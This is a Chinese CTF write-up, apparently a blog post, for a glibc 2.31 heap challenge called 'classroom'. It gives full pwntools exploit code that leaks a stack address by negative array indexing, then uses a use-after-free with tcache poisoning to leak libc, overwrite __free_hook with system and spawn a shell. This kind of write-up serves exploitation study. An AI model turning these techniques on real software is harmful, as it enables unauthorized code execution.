当前位置: 首页 > news >正文

堆技巧 数组反向越界泄露地址

四川省2021信息安全技术大赛 classroom

痛苦痛苦痛苦,调了半天才找到数组起始地址,还是自己太菜了,好好记录一下这题
在这里插入图片描述
在这里插入图片描述
题目给了libc,2.31的题
嗯,可以考虑覆盖got表或者hook函数
打开ida发现是c++的题,认真分析一下

free函数

在这里插入图片描述

存在UAF

add函数与show函数

在这里插入图片描述
index是int型数据,有符号整型,可以为负数,程序会在申请完chunk后将chunk内容输出出来,如果我们输入index处本来有内容,那么他会不让我们输入内容,直接将chunk的内容输出来,这里我们就想到利用数组越界来泄露某些地址了。
add函数只允许申请0x20大小的chunk,且输入的chunk内容最多为8字节

add函数
show函数,chunk内容位于第二个参数,rsi传参

思路

1.利用gdb调试找到chunk数组起始地址,输入负数泄露栈地址
2.利用UAF获得libc地址
3.利用UAF覆盖__free_hook为system函数
4.释放内容为/bin/sh的chunk获得shell

过程

先把前面的写好

# coding=utf-8
from pwn import *
context.log_level='debug'
s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims		    :p.recvuntil(delims)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
#p=remote('',)
p=process('./classroom')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def dbg(cmd=''):
	gdb.attach(p,cmd)
	 

def add(idx, content = 'a\n'):

	sla('>', str(1))

	sla('Would you tell me THIS STUDENT\'S ID?\n>', str(idx))

	sla('Would you tell me THIS STUDENT\'S NAME?\n>', content)

def free(idx):

	sla('>', str(2))

	sla('Would you tell me THIS STUDENT\'S ID?\n>', str(idx))

def edit(idx, content):

	sla('>', str(3))

	sla('Would you tell me THIS STUDENT\'S ID?\n>', str(idx))

	sla('Would you tell me THIS STUDENT\'S NAME?\n>', content)

在这里插入图片描述
show函数在0x1957处,在下断点调试

# coding=utf-8
from pwn import *
context.log_level='debug'
def dbg(cmd=''):
	gdb.attach(p,cmd)
p=process('./classroom')
dbg('b * $rebase(0x1957)')
p.interactive()

我们申请三个chunk,内容依次为eee,qwe,zxczx,依次为chunk0,1,2,每当执行到show函数的时候,我们发现chunk0,1,2依次存在返回地址的下面,说明数组起始地址(也就是a1的地址就是返回地址的下一位(0x7ffe916dca58)),那么我们可以输入 -4来获取0x7ffe916dcac0这个地址

sla('>', str(1))
sla('Would you tell me THIS STUDENT\'S ID?\n>', str(0xfffffffc)) #-4  4294967292 
 
ru('Welcome my student :')

 
stack = u64(r(6).ljust(8, '\x00')) 
lg('stack',stack)
 
libc_ret = stack+0x8
lg('libc_ret',libc_ret)
#libc_ret
 

dbg('b * $rebase(0x1957)')

在这里插入图片描述

泄露的栈地址0x7ffe916dcac0+0x8就是存放__libc_start_main+243的地址,我们可以利用uaf修改chunk的fd指针使chunk申请到__libc_start_main+243处,获得libc,由于我们不能破坏栈结构,我们可以找个没有有用数据的地址stack-0x70处,然后将存放__libc_start_main+243的地址放到stack-0x70处,之后show函数输出__libc_start_main+243地址,获得libc基地址。

add(0)
add(1)
add(2)
add(5)
add(6)
add(7, '/bin/sh') #存放/bin/sh,一会将free_hook改为system时使用
free(0)             
free(1)
dbg()

在这里插入图片描述

edit(1, p64(stack-0x70))    #修改tcache bin chunk1指向stack-0x70处
dbg()

在这里插入图片描述

add(3)
dbg()

在这里插入图片描述
再次申请chunk,会把chunk申请到stack-0x70处,将存放__libc_start_main+243的地址写入

add(4, p64(libc_ret)) #将chunk申请到stack-0x70处

sla('>', str(1))
sla('Would you tell me THIS STUDENT\'S ID?\n>', str(0)) 
p.recvuntil('Welcome my student :')
libc.address = u64(r(6).ljust(8, '\0'))-libc.sym['__libc_start_main']-243
lg('libc.address ',libc.address )
dbg()

在这里插入图片描述
之后利用相同的方法将free_hook改为system函数

free(5)

free(6)

edit(6, p64(libc.sym['__free_hook']))

add(8)

add(9, p64(libc.sym['system']))

free(7)


itr()

获得shell

在这里插入图片描述

相关文章:

  • 技术分享| 基于RTM 实现的呼叫邀请如何添加推送功能?
  • IMX6ULL学习笔记(3)——挂载NFS网络文件系统
  • RestTemplate使用
  • Mysql---子查询的三种查询方式( 表子查询,条件子查询,列中子查询)
  • springboot+学校运动会信息管理 毕业设计-附源码231058
  • 进行日常记账后,怎样导出表格
  • Vue3中组件数据的传递以及更改
  • geoserver2.18(8):添加CSW(网络目录服务)扩展及前端开发调用
  • DOM--页面渲染流程
  • LeetCode 85双周赛(补记)
  • Apache DolphinScheduler PMC:开源不一定也要九死一生
  • SpringMVC之拦截器
  • Linux环境Docker的安装过程
  • 第四章【ADFS集成Exchang实现OWA\ECP单点登录SSO】安装Active Directory联合身份验证服务(AD联合身份验证 ADFS)
  • 公众号查题接口
  • [deviceone开发]-do_Webview的基本示例
  • 2017前端实习生面试总结
  • 4个实用的微服务测试策略
  • android 一些 utils
  • C++类中的特殊成员函数
  • conda常用的命令
  • Docker 1.12实践:Docker Service、Stack与分布式应用捆绑包
  • es6要点
  • ESLint简单操作
  • Leetcode 27 Remove Element
  • October CMS - 快速入门 9 Images And Galleries
  • OpenStack安装流程(juno版)- 添加网络服务(neutron)- controller节点
  • php中curl和soap方式请求服务超时问题
  • React as a UI Runtime(五、列表)
  • STAR法则
  • Vultr 教程目录
  • WordPress 获取当前文章下的所有附件/获取指定ID文章的附件(图片、文件、视频)...
  • 浮现式设计
  • - 概述 - 《设计模式(极简c++版)》
  • 批量截取pdf文件
  • 如何使用 OAuth 2.0 将 LinkedIn 集成入 iOS 应用
  • 限制Java线程池运行线程以及等待线程数量的策略
  • 转载:[译] 内容加速黑科技趣谈
  • [地铁译]使用SSD缓存应用数据——Moneta项目: 低成本优化的下一代EVCache ...
  • 数据库巡检项
  • ​Linux·i2c驱动架构​
  • ​业务双活的数据切换思路设计(下)
  • $NOIp2018$劝退记
  • (delphi11最新学习资料) Object Pascal 学习笔记---第8章第5节(封闭类和Final方法)
  • (LeetCode C++)盛最多水的容器
  • (zz)子曾经曰过:先有司,赦小过,举贤才
  • (附源码)spring boot球鞋文化交流论坛 毕业设计 141436
  • (更新)A股上市公司华证ESG评级得分稳健性校验ESG得分年均值中位数(2009-2023年.12)
  • (三十五)大数据实战——Superset可视化平台搭建
  • (十)【Jmeter】线程(Threads(Users))之jp@gc - Stepping Thread Group (deprecated)
  • (十)DDRC架构组成、效率Efficiency及功能实现
  • (十七)Flask之大型项目目录结构示例【二扣蓝图】
  • (图)IntelliTrace Tools 跟踪云端程序
  • (五)网络优化与超参数选择--九五小庞
  • (一)Java算法:二分查找